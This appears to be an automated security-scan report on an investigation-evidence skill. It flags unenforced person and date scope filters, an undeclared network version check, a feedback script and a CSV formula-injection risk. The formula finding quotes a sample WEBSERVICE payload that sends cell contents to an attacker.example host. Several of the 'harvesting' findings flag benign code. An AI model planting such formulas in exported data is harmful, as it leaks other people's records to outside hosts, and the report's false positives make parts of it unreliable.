Back to skill

Security audit

授权内调查材料整理

Security checks for vulnerabilities and agentic risk

Overview

ClawScan marks this skill suspicious because scanners report that its person and date limits may not be enforced consistently, and some behavior conflicts with its stated offline, investigation-focused purpose.

Consider avoiding installation until the person and date scope behavior and offline version-check behavior are clarified, and the missing installer reference is reviewed. If you use the skill, treat its outputs as potentially containing out-of-scope material and review exported evidence carefully before opening it in spreadsheet software. The scan is partial, so it does not establish that unreviewed referenced paths are safe.

Vulnerability Patterns
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (1)

T09 · Insecure Skill Coding Practices

Warning
Location
scripts/build_case_workspace.py
Finding

Untrusted evidence fields are exported as executable spreadsheet formulas

Content
View full analysis

Impact

Attacker-authored formulas can alter the displayed evidence or invoke spreadsheet-supported external requests. For example, a content cell containing =WEBSERVICE("https://attacker.example/collect?d="&ENCODEURL(F2)) can transmit another message's content from F2 when opened in a compatible spreadsheet with external requests permitted. Code execution is not established.

Vulnerability Patterns
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Output HandlingUnvalidated Output Injection, Cross-Context Output, Unbounded Output
  • Behavioral ASTexec() Call, eval() Call, Dynamic Import
  • MCP Least PrivilegeUnderdeclared Capability, Wildcard Permission, Missing Permission Declaration
  • MCP Tool PoisoningHidden Instructions, Unicode Deception, Parameter Description Injection
Findings (22)

Description-Behavior Mismatch

High
Category
MCP Tool Poisoning
Confidence
99% confidence
Finding

The advertised person/date restrictions are security boundaries for sensitive investigation material, but text processing does not apply them and an empty person list disables person filtering. Consequently, selecting an allowed file can cause unauthorized records to enter analytical outputs despite the stated scope guarantees.

Content

No source excerpt is available for this finding.

Description-Behavior Mismatch

High
Category
MCP Tool Poisoning
Confidence
99% confidence
Finding

The optional agent-initiated version request conflicts with the mandatory network_access=false gate and is skipped on opt-out rather than requiring separate affirmative authorization. This can expose connection metadata or violate investigation isolation requirements, although the finding overstates installer execution: the instructions explicitly reserve execution for the user.

Content

No source excerpt is available for this finding.

Description-Behavior Mismatch

High
Category
MCP Tool Poisoning
Confidence
97% confidence
Finding

The supplied command concerns satisfaction feedback rather than evidence organization or investigation traceability. Its preset satisfied rating and user-evaluation note indicate a materially different function not described in the declared purpose. The missing script prevents determining its exact file operations or side effects; no network access, evidence modification, or authorization bypass can be established from this command alone.

Content

No source excerpt is available for this finding.

Description-Behavior Mismatch

High
Category
MCP Tool Poisoning
Confidence
87% confidence
Finding

The supplied chunk primarily prepares user/product feedback rather than an investigation artifact or evidence-management implementation detail. Its rating, user-comment, and source-attribution features represent an additional undeclared workflow. It remains offline, so there is no demonstrated network transmission or covert exfiltration. However, its claim of nonsensitive output is not enforced: warnings, category labels, comments, and source tags are emitted without content sanitization. The script also does not itself check authorization or scope, although this chunk alone cannot establish whether those checks occur elsewhere.

Content

No source excerpt is available for this finding.

Env Variable Harvesting

High
Category
Data Exfiltration
Confidence
80% confidence
Finding

Code enumerates, copies, or searches environment variables for secrets. Bulk environment access can collect credentials unrelated to the skill's stated purpose.

Content

Scanner excerpt · scripts/build_case_workspace.py (reported line 283)May include surrounding context.

python
if configured:
        return clean_text(configured).lower()
    name = Path(relative).name.lower()
    if any(token in name for token in ("message", "chat", "email", "mail", "消息", "聊天", "邮件")):
        return "messages"
    if any(token in name for token in ("log", "event", "access", "日志", "访问")):
        return "logs"

Env Variable Harvesting

High
Category
Data Exfiltration
Confidence
80% confidence
Finding

Code enumerates, copies, or searches environment variables for secrets. Bulk environment access can collect credentials unrelated to the skill's stated purpose.

Content

Scanner excerpt · scripts/build_case_workspace.py (reported line 285)May include surrounding context.

python
name = Path(relative).name.lower()
    if any(token in name for token in ("message", "chat", "email", "mail", "消息", "聊天", "邮件")):
        return "messages"
    if any(token in name for token in ("log", "event", "access", "日志", "访问")):
        return "logs"
    if Path(relative).suffix.lower() in (".txt", ".md"):
        return "text"

An empty persons_in_scope list silently authorizes processing records about every person.

High
Category
Excessive Agency
Confidence
100% confidence
Finding

load_scope accepts an empty persons_in_scope list, while row_in_scope checks actors only when that list produces a nonempty set. An omitted substantive person scope thus silently becomes unrestricted processing, contradicting the requirement for explicitly identified authorized persons.

Content

No source excerpt is available for this finding.

Rows classified as out of scope still have their contents exported into the shared evidence registry.

High
Category
Excessive Agency
Confidence
99% confidence
Finding

Message content is added to the shared registry before date/person eligibility is checked, and the registry is later exported to evidence.jsonl. Excluded records therefore remain readable in a general output artifact despite being described as isolated; process_logs has the same ordering issue.

Content

No source excerpt is available for this finding.

Plain-text evidence bypasses the declared person and date scope filters.

High
Category
Excessive Agency
Confidence
100% confidence
Finding

process_text receives no scope and places every nonempty line into both the evidence registry and analytical corpus. Out-of-period or unrelated-person material in an otherwise allowed text file can therefore populate findings and evidence matrices without exclusion or warning.

Content

No source excerpt is available for this finding.

Unvalidated Output Injection

High
Category
Output Handling
Confidence
95% confidence
Finding

Model output is used without validation or sanitization. Unvalidated output injected into downstream contexts (SQL, shell, HTML) enables injection attacks and arbitrary code execution.

Content

Scanner excerpt · tests/test_investigation_assistant.py (reported line 41)May include surrounding context.

python
def run_example(self, scope=SCOPE):
        temp = tempfile.TemporaryDirectory()
        output = Path(temp.name) / "out"
        completed = subprocess.run(
            [sys.executable, str(SCRIPT), "--input-dir", str(INPUT), "--scope", str(scope), "--output", str(output)],
            capture_output=True, text=True, encoding="utf-8", errors="replace",
            env={**os.environ, "PYTHONIOENCODING": "utf-8"}

Env Variable Harvesting

High
Category
Data Exfiltration
Confidence
60% confidence
Finding

Code enumerates, copies, or searches environment variables for secrets. Bulk environment access can collect credentials unrelated to the skill's stated purpose.

Content

Scanner excerpt · tests/test_investigation_assistant.py (reported line 44)May include surrounding context.

python
completed = subprocess.run(
            [sys.executable, str(SCRIPT), "--input-dir", str(INPUT), "--scope", str(scope), "--output", str(output)],
            capture_output=True, text=True, encoding="utf-8", errors="replace",
            env={**os.environ, "PYTHONIOENCODING": "utf-8"}
        )
        self.assertEqual(completed.returncode, 0, completed.stderr)
        return temp, output

Env Variable Harvesting

High
Category
Data Exfiltration
Confidence
60% confidence
Finding

Code enumerates, copies, or searches environment variables for secrets. Bulk environment access can collect credentials unrelated to the skill's stated purpose.

Content

Scanner excerpt · tests/test_investigation_assistant.py (reported line 123)May include surrounding context.

python
completed = subprocess.run(
                [sys.executable, str(SCRIPT), "--input-dir", str(INPUT), "--scope", str(bad_scope), "--output", str(output)],
                capture_output=True, text=True, encoding="utf-8", errors="replace",
                env={**os.environ, "PYTHONIOENCODING": "utf-8"}
            )
            self.assertNotEqual(completed.returncode, 0)
            self.assertIn("authorization_confirmed", completed.stderr)

Env Variable Harvesting

High
Category
Data Exfiltration
Confidence
60% confidence
Finding

Code enumerates, copies, or searches environment variables for secrets. Bulk environment access can collect credentials unrelated to the skill's stated purpose.

Content

Scanner excerpt · tests/test_investigation_assistant.py (reported line 179)May include surrounding context.

python
[sys.executable, str(SCRIPT), "--input-dir", str(input_dir),
             "--scope", str(input_dir / "scope.json"), "--output", str(out)],
            capture_output=True, text=True, encoding="utf-8", errors="replace",
            env={**os.environ, "PYTHONIOENCODING": "utf-8"},
        )
        return temp, completed, out

Unvalidated Output Injection

High
Category
Output Handling
Confidence
95% confidence
Finding

Model output is used without validation or sanitization. Unvalidated output injected into downstream contexts (SQL, shell, HTML) enables injection attacks and arbitrary code execution.

Content

Scanner excerpt · tests/test_investigation_assistant.py (reported line 120)May include surrounding context.

python
scope["authorization_confirmed"] = False
            bad_scope.write_text(json.dumps(scope, ensure_ascii=False), encoding="utf-8")
            output = Path(directory) / "out"
            completed = subprocess.run(
                [sys.executable, str(SCRIPT), "--input-dir", str(INPUT), "--scope", str(bad_scope), "--output", str(output)],
                capture_output=True, text=True, encoding="utf-8", errors="replace",
                env={**os.environ, "PYTHONIOENCODING": "utf-8"}

Skill declares no tool scope ('permissions' or 'allowed-tools') but code capabilities were detected: env, file_read, file_write, shell.

Medium
Category
MCP Least Privilege
Confidence
70% confidence
Finding

Without declared permissions the skill's intent is opaque and cannot be validated.

Content

No source excerpt is available for this finding.

The update-check workflow permits network access despite the manifest's mandatory offline scope.

Medium
Category
Excessive Agency
Confidence
98% confidence
Finding

The update workflow permits the host agent to contact GitHub despite the required offline scope. Downloading only a public version file still creates an outbound connection and exposes connection metadata; it is not equivalent to remaining offline.

Content

No source excerpt is available for this finding.

The documented optional online version check conflicts with the manifest's mandatory network_access=false requirement.

Medium
Category
Excessive Agency
Confidence
94% confidence
Finding

This reference presents an online version check as an exception alongside network_access=false without requiring separate affirmative authorization. In an offline investigation, that exception can permit an unauthorized outbound connection even though no case content is intentionally uploaded.

Content

No source excerpt is available for this finding.

The dashboard specification requires Chinese-only output without user opt-in.

Medium
Category
Output Handling
Confidence
96% confidence
Finding

The dashboard docstring explicitly specifies “全中文” (entirely in Chinese), imposing a particular output language. No language choice or region-specific justification is provided, and the dashboard template implements that fixed-language requirement.

Content

No source excerpt is available for this finding.

The claimed anonymous, sensitive-data-free feedback includes unrestricted text without anonymization.

Medium
Category
Excessive Agency
Confidence
97% confidence
Finding

The feedback includes manifest warnings and user notes verbatim without anonymization; truncating notes to 500 characters does not remove sensitive information. In an investigation workspace, these fields can contain names, evidence details, or other confidential data, contradicting the sensitive-data-free claim and potentially misleading users into sharing them. The script only prints locally and leaves transmission to the user, which limits exposure but does not make the feedback anonymous.

Content

No source excerpt is available for this finding.

subprocess module call

Medium
Category
Dangerous Code Execution
Confidence
70% confidence
Finding

subprocess module calls execute external commands. Without careful input validation, this enables command injection.

Content

Scanner excerpt · tests/test_investigation_assistant.py (reported line 41)May include surrounding context.

python
def run_example(self, scope=SCOPE):
        temp = tempfile.TemporaryDirectory()
        output = Path(temp.name) / "out"
        completed = subprocess.run(
            [sys.executable, str(SCRIPT), "--input-dir", str(INPUT), "--scope", str(scope), "--output", str(output)],
            capture_output=True, text=True, encoding="utf-8", errors="replace",
            env={**os.environ, "PYTHONIOENCODING": "utf-8"}

subprocess module call

Medium
Category
Dangerous Code Execution
Confidence
70% confidence
Finding

subprocess module calls execute external commands. Without careful input validation, this enables command injection.

Content

Scanner excerpt · tests/test_investigation_assistant.py (reported line 120)May include surrounding context.

python
scope["authorization_confirmed"] = False
            bad_scope.write_text(json.dumps(scope, ensure_ascii=False), encoding="utf-8")
            output = Path(directory) / "out"
            completed = subprocess.run(
                [sys.executable, str(SCRIPT), "--input-dir", str(INPUT), "--scope", str(bad_scope), "--output", str(output)],
                capture_output=True, text=True, encoding="utf-8", errors="replace",
                env={**os.environ, "PYTHONIOENCODING": "utf-8"}

subprocess module call

Medium
Category
Dangerous Code Execution
Confidence
70% confidence
Finding

subprocess module calls execute external commands. Without careful input validation, this enables command injection.

Content

Scanner excerpt · tests/test_investigation_assistant.py (reported line 175)May include surrounding context.

python
notes.append("已在 messages.csv 增加 recorded_at 列")

        out = root / "out"
        completed = subprocess.run(
            [sys.executable, str(SCRIPT), "--input-dir", str(input_dir),
             "--scope", str(input_dir / "scope.json"), "--output", str(out)],
            capture_output=True, text=True, encoding="utf-8", errors="replace",